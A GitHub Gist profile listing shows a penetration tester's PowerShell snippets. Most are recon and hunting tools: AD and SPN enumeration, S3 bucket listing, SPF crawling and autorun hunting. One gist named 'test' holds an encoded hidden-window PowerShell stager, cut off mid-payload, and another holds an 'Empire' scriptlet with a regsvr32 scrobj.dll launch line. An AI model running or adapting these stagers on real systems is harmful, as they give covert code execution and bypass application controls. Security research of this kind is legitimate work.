Skip to content

Instantly share code, notes, and snippets.

View nullbind's full-sized avatar

Scott Sutherland nullbind

View GitHub Profile
@nullbind
nullbind / QuickDumpComputersAndSPN.ps1
Created June 19, 2018 02:08
QuickDumpAllComputerandSPN
# -------------------------------------------
# Function: Get-DomainObject
# -------------------------------------------
# Based on Get-ADObject function from:
# https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
function Get-DomainObject
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$false,
# -------------------------------------------
# Function: Get-IPrange
# -------------------------------------------
# Author: BarryCWT
# Reference: https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
function Get-IPrange
{
<#
.SYNOPSIS
Get the IP addresses in a range
@nullbind
nullbind / Get-PublicAwsS3BucketList.ps1
Created October 17, 2018 15:16
Get-PublicAwsS3BucketList.ps1
# ---------------------------------
# Get-PublicAwsS3BucketList
# ---------------------------------
# Author: Scott Sutherland (@_nullbind), NetSPI 2018
# Version: 0.5
# Description: This Function can be used to obtain a list of keys (files) stored in AWS s3 buckets.
# it also supports feed guessing s3 buckets based on a list of domains which is can perform permutations on.
# S3 buckets that have been make publically readable.
# Ref: https://docs.aws.amazon.com/AmazonS3/latest/API/v2-RESTBucketGET.html
# Ref: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-buckets
@nullbind
nullbind / test
Created October 25, 2018 19:13
test
powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBPAGsAVQAwAGw
@nullbind
nullbind / Invoke-SPFCrawl
Last active June 20, 2025 12:16
Invoke-SPFCrawl
<#
# Invoke-SPFCrawl Outline
# check out:
https://github.com/pushsecurity/saas-attacks/blob/main/techniques/dns_reconnaissance/description.md
https://github.com/BishopFox/SpoofcheckSelfTest
https://github.com/binaryfigments/emaildefense - check spf, dmarc, dkim, authenticated data, tlsa, DANE; does not flatten, no owner or other lookup info
- https://pkg.go.dev/github.com/binaryfigments/emaildefense
https://github.com/GlobalCyberAlliance/GCADMARCRiskScanner
@nullbind
nullbind / Expand-SPFRecord
Last active November 23, 2020 16:29
Expand-SPFRecord
#$results = Expand-SpfRecord -domain netspi.com -RecurseInclude
#$results | select spfrecord | foreach {$_.spfrecord -split(" ")}
# need to handle the variables - they currently cause errors
# need to parse ipranges and check for owners, check if they can be bought and something in the range can be bought
# need to parse domains, check if any are expired.
<#PSScriptInfo
.VERSION 0.9.0
.GUID 16e3e002-a6d7-4130-b599-5dd23438d194
.AUTHOR Cory Calahan
@nullbind
nullbind / testingthings.sct
Last active May 28, 2020 16:06
testingthings.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
@nullbind
nullbind / Invoke-HuntRegAutoruns.ps1
Last active May 1, 2019 17:32
Invoke-HuntRegAutoruns.ps1
# use this with powershell remote sessions
# New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
# cd RemoteADS:
# Get-ADComputer -Filter * -Properties name | select @{Name="ComputerName";Expression={$_."name"}} | New-PSSession
# Get-PSSession | Invoke-Command -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $Results = Get-PSSession | Invoke-Command -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $ScriptBlock = "ps code"
# Invoke-Command -Session (Get-PSSession) -ScriptBlock {$ScriptBlock}
# Invoke-Command -Session (Get-PSSession) -FilePath C:\Invoke-HuntRegAutoruns.ps1
# $Results | Export-Csv -Notypeinformation results.csv
@nullbind
nullbind / Invoke-HuntServiceInfo.ps1
Created May 1, 2019 17:29
Invoke-HuntServiceInfo.ps1
Get-WmiObject -Class win32_service | Select Name,ServiceName,Description,PathName,ServiceType,StartMode,Status,InstallDate
#this can be run against all active psremoting sessions
@nullbind
nullbind / Invoke-HuntServiceInfo.ps1
Created May 1, 2019 17:29
Invoke-HuntServiceInfo.ps1
Get-WmiObject -Class win32_service | Select Name,ServiceName,Description,PathName,ServiceType,StartMode,Status,InstallDate
#this can be run against all active psremoting sessions